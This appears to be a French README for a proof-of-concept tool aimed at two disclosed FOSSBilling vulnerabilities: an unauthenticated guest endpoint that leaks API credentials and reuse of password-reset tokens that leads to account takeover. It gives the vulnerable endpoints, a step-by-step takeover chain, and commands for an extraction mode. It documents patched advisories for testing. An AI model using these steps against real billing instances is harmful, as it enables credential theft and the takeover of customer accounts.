
FOSSBilling CVE-2026-53647 & CVE-2026-53646 PoC — Divulgation de clé API non authentifiée & réutilisation de jeton de réinitialisation de mot de passe
███████╗ ██████╗ ███████╗██╗ ██╗██╗██╗ ██╗ ███████╗██████╗
██╔════╝██╔═══██╗██╔════╝██║ ██╔╝██║██║ ██║ ██╔════╝██╔══██╗
█████╗ ██║ ██║███████╗█████╔╝ ██║██║ ██║ █████╗ ██████╔╝
██╔══╝ ██║ ██║╚════██║██╔═██╗ ██║██║ ██║ ██╔══╝ ██╔══██╗
██║ ╚██████╔╝███████║██║ ██╗██║███████╗███████╗███████╗██║ ██║
╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝╚══════╝╚══════╝╚══════╝╚═╝ ╚═╝
fait par 7megaumka7
Outil PoC pour deux vulnérabilités acceptées dans le cadre du programme GitHub Security Advisory dans FOSSBilling ≤ 0.7.2
FOSKiller est un outil de preuve de concept démontrant deux vulnérabilités de sécurité dans FOSSBilling — une plateforme open-source de facturation et de gestion de clients. Les deux vulnérabilités ont été divulguées de manière responsable via le programme GitHub Security Advisory et sont entièrement corrigées dans FOSSBilling 0.7.3+.
L'outil est destiné à :
| Avis | CVE | Type | CVSS | Affecté |
|---|---|---|---|---|
| GHSA-737q-9gpr-6mpq | CVE-2026-53647 | Divulgation de configuration de clé API non authentifiée | 6.9 Modéré | >= 0.5.3, <= 0.7.2 |
| GHSA-vp66-w6rc-x32p | CVE-2026-53646 | Réutilisation du jeton de réinitialisation de mot de passe → Prise de contrôle de compte | 7.7 Élevé | >= 0.5.6, <= 0.7.2 |
Le point de terminaison invité /api/guest/serviceapikey/get_info renvoie la configuration complète
du service — y compris les champs custom_*, les identifiants API, les noms d'hôtes et les mots de passe —
sans nécessiter d'authentification. Un attaquant qui connaît ou énumère une clé API valide
peut récupérer la configuration complète du service backend depuis un point de terminaison public.
Impact : Exposition des identifiants de service, noms d'hôtes internes, secrets API.
Lorsqu'un client déclenche deux réinitialisations de mot de passe consécutives pour le même compte, l'application émet un nouveau jeton mais n'invalide pas le précédent. Un attaquant qui a précédemment capturé le premier jeton peut l'utiliser pour définir un nouveau mot de passe même après que l'utilisateur légitime ait terminé son propre flux de réinitialisation.
Chaîne d'attaque :
1. L'attaquant déclenche POST /api/guest/client/reset_password → capture le jeton T1
2. La victime déclenche sa propre réinitialisation → l'application émet T2, T1 reste valide
3. L'attaquant appelle POST /api/guest/client/update_password?hash=T1 avec un mot de passe choisi
4. L'attaquant a un accès persistant indépendamment de l'achèvement de la réinitialisation de la victime
Impact : Prise de contrôle persistante de tout client dont l'email de réinitialisation est interceptable.
Si des dépendances sont manquantes, le script le détecte au démarrage et propose de les installer automatiquement.
Clonez et installez les dépendances :
git clone https://github.com/7megaumka7/FOSKiller.git
cd FOSKiller
pip install -r requirements.txt
Ou exécutez sans pré-installation — le script demandera d'installer les paquets manquants lors de la première exécution.
python fossbilling_poc.py --target URL [--key KEY] [--email EMAIL]
[--check-only | --exploit]
[--force] [--output FILE]
[--timeout SEC] [--proxy URL]
| Option | Requis | Description |
|---|---|---|
--target URL | Oui | URL de base de l'instance FOSSBilling |
--key KEY | Pour CVE-2026-53647 | Clé API à tester |
--email EMAIL | Pour CVE-2026-53646 | Email du client à tester |
--check-only | Non | Mode détection — confirme la vulnérabilité sans extraire de données |
--exploit | Non | Extraction complète + documentation de la chaîne d'attaque |
--force | Non | Ignore la vérification de la plage de versions |
--output FILE | Non | Sauvegarde les résultats complets dans un fichier JSON |
--timeout SEC | Non | Délai d'attente HTTP en secondes (défaut : 10) |
--proxy URL | Non | Proxy HTTP (ex. http://127.0.0.1:8080) |
--check-only et --exploit sont mutuellement exclusifs.
| Mode | Option | Ce qu'il fait |
|---|---|---|
| Détection | --check-only | Confirme l'existence de la vulnérabilité. N'affiche ni n'extrait les valeurs sensibles. |
| Par défaut | (aucun indicateur de mode) | Confirme le statut et montre les preuves de base. |
| Exploitation | --exploit | Extrait tous les champs divulgués ; documente la chaîne complète de prise de contrôle de compte avec métadonnées temporelles. |
Détection uniquement — vérifier les deux CVE sans extraire de données :
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--check-only
Extraction complète et documentation de la chaîne d'attaque :
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--exploit
Sauvegarder les résultats au format JSON et passer par Burp Suite :
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--output results.json \
--proxy http://127.0.0.1:8080
Tester une version inconnue ou déjà corrigée :
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--force
[*] Probing https://billing.example.com …
[+] Detected version: 0.7.1
[+] CVE-2026-53647 affected range (>=0.5.3 <=0.7.2): YES
[+] CVE-2026-53646 affected range (>=0.5.6 <=0.7.2): YES